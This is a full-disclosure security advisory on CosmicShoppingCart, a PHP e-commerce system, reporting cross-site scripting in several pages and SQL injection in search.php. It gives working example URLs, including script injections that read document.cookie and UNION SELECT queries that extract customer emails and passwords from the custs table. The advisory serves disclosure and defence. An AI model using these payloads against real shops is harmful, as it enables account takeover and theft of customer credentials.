Software: CosmicShoppingCart (www.cosmicphp.com) Risk: Medium Discovered by: Vympel (Marcelo Almeida) Background: CosmicShoppingCart is a PHP / MySQL e-commerce system. It is a fully customizable, shopping cart designed. Description:
Multiple Cross site scripting and SQL injection vulnerabilities have been found in CosmicShoppingCart.
1)Multiple Cross site scripting vulnerabilities have been found in the following pages: cosmicshop/search.php cosmicshop/search_cat.php cosmicshop/search_price.php cosmicshop/product_details.php
Examples: cosmicshop/search.php?query=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E cosmicshop/search_cat.php=doc&data=%3Cscript%3Ealert('xss');%3C/script%3E
2)SQL injections have been found, they could be exploited by users to retrieve the passwords of the admin.
Examples: cosmicshop/search.php?max=-1%20UNION%20SELECT%201,1,1,cust_password,1,1,1,1,1%20FROM%20custs/* cosmicshop/search.php?max='2'%20UNION%20SELECT%20'a','a','a',cust_email,cust_password,'abc',1,'a','a'%20FROM%20custs--
Vendor: First contact 16/02/2005 Contacted again in 25/03/2005 Publish advisory 25/05/2006
Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/